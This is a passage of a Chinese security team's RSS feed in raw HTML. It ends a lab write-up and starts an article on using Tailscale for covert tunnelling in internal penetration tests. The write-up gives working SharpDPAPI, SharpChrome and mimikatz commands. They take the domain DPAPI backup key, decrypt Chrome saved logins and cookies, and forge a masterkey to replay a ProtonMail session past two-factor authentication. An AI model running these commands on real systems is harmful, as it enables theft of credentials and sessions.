Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">获取masterkey方法不止一种，这里选择从域的pvk中获取，首先使用SharpDPAPI获取pvk：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">SharpDPAPI.exe  backupkey /server:dc01.test.local /file:key.pvk<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">之后将pvk传到目标机器上，再使用</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">cmd /c SharpChrome.exe logins /pvk:key.pvk &gt; c:\1.txt<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">即可获取logins解密的结果：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.36596736596736595" title="null" data-type="png" data-w="858" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=90ecae04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0FwmxL3elrDIFLfVuybVGAo9Iux0L87djrM09bGjZbics9hZeHFVq2zQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">尝试登录，存在双因子认证：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.7565104166666666" title="null" data-type="png" data-w="768" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=03808166&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0KyxmHQNaSVHoZko03jkjFMdla4BGPK4Dpo83rtnHMPkmTSHxM6DEXA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">从chrome中解cookie：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.8279352226720648" title="null" data-type="png" data-w="988" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b048832b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0YibnPkZQjcicxzsaox5ARQ7k2zZCksaH7UztNyG8oA03Hcibrv0tE0Ribg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">导入浏览器插件CookieEditor，protonmail有好几个域：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;margin: 10px 0;">account.proton.me</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;margin: 10px 0;">account-api.proton.me</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;margin: 10px 0;">mail.proton.me ...</section></li></ul></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">面对这种情况Cookie-Editor不是很好使。不能直接用插件导入，mimikatz提供了一个办法可以伪造一个masterkey：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">xcopy <span style="color: #a6e22e;line-height: 26px;">&#34;\\192.168.112.50\C$\users\dashe\appdata\Roaming\Microsoft\Protect\S-1-5-21-2687445417-3310065553-3308869922-1140\1e366a60-0518-4f7c-abdb-65eb5d35bdf5&#34;</span> /h<br/>mimikatz <span style="color: #75715e;line-height: 26px;"># dpapi::masterkey /in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5 /pvk:key.pvk</span><br/></code></pre></section><span style="font-size: 14px;">获得一个key：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5159301130524152" title="null" data-type="png" data-w="973" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=17dbe555&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0Eic88wRM6BD0icicAEUdicnuaYcXZGW1IiceBBv2jN7X9HsBNicbG8EJicWBQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">新建一台虚拟机安装chrome，管理员账户的密码设置为123456，拷贝整个chrome的default到新机器。使用dpapi生成新的masterkey文件，注意需要在新装的机器上执行。</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">dpapi::create /guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5} /key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117 /password:123456 /protected<br/></code></pre></section><section data-v-b4e935ba=""><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4324074074074074" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=041c9972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0f8fkDnnG8MxqySvn8Y8zCnCLYH7CdwqNMgeqbgyv0w9sgG2oicxyUSw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">将masterkey文件拷贝到Administrator用户的目录下</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">xcopy 1e366a60-0518-4f7c-abdb-65eb5d35bdf5 C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-1943907461-1399315114-1286489734-500 /h<br/></code></pre></section><span style="font-size: 14px;">重启chrome可以看到cookie已经成功导入：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3633405639913232" title="null" data-type="png" data-w="922" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=78d88294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0XzibXjNkdS5wacOMhHw0pbsqW6SM2JzZ3CibYYTxOyMI4icwxzRQJQibug%2F640%3Fwx_fmt%3Dpng"/></figure><span style="font-size: 14px;">获得最后的flag：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4425925925925926" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6fa26a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0YeyPE8qyZysYXCq9ibEaknQwdNzTDztqVUjlsnMo4m4eFd7JeW6az6g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">总结</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本环境是中等难度的一套环境，大多是常规手法进行突破。环境目前已公开在7bits攻防对抗平台，详情可以点击公众号菜单中的&#34;靶场平台&#34;，或点击下方超链接了解。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform公测版正式上线啦" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">xBitsPlatform公测版正式上线啦</a><br/></p><section data-v-419eea47=""><section data-v-419eea47=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;margin-top: 0;">交流群</h2><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1243386243386244" title="null" data-type="png" data-w="756" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb42e7be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0vUszTWNcRloric0Q7GE59NcmsQ9GS9libs6ibNcCFJtt3ToFMEomZ55jA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">知识星球</h2><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8239ba7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0tpiaFydmlrqYVBmpwPgHpH3CHCLSE4I5TrrkdMHW1om2D6GQGYdjZUQ%2F640%3Fwx_fmt%3Dpng"/></figure></section><p><br/></p></section><p><br/></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500049">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f6e409db&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500049%26idx%3D1%26sn%3D2e0c3b85dd99f25c1ffeecfd7b7d4990%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Apr 2023 09:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Tailscale在内网渗透中利用的研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499629&amp;idx=1&amp;sn=e2f7b8c93b0e4d2f13e731ae380fc8ed</link>
      <description>利用Tailscale在内网渗透中搭建隧道。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-02-14 08:50</span> <span style="display: inline-block;">江苏</span>
</p>

<p>利用Tailscale在内网渗透中搭建隧道。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=696169d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbicsbGAMibKGdg4oOqjgbhcSLiaHDlEI2IzibljhcNvpjnghtO12bNmsicpA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 0px auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">前言</h1><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在内网渗透的过程中，基于内网环境的复杂性，安全测试人员常常需要在其中建立多个代理隧道，以便访问到核心的资产。而建立隧道的工具也层出不穷，除了reGeorg、Frp、stotwawy这些工具外，像Softether这样的正常用途的工具也渐渐被国外的安全团队使用在内网渗透中。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.9199683042789224" title="null" data-type="png" data-w="1262" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b607a25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbhxyCHl9DeicUcWdFcVfXFbezNvVibRRo2FCJgxrYslKwFL9wVXf57qibQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">得益于Softether的用户基础，在杀软检测方面几乎不会被查杀，可以做到一定的免杀效果，但是在流量检测方面，多数安全设备都能对其传输的流量进行识别。而本文主要研究能否利用一些正常用途的工具，在官方提供的功能基础上完成对内网渗透的测试。从而能够让网络安全从业者更顺畅的完成测试工作。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文只研究相关功能的可行性，禁止将该技术用于未经授权的渗透测试行为。</p><h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Tailscale介绍</h1><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Tailscale是一种基于Wireguard的多地组网的软件，他能够实现将多地主机，都聚合在一个虚拟的局域网中，让这些设备之间能够相互访问。所有的节点都直接使用p2p连接，在一些情况下，速度也很可观。而从目前程序本身来讲，他原本的作用就是进行多地组网，所以杀软也不会对其进行查杀，在流量方面也能起到很好的规避作用。而通过对官方文档的研究，发现利用官方提供的一些功能，可以构造出具有一定安全性与稳定性的隧道。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 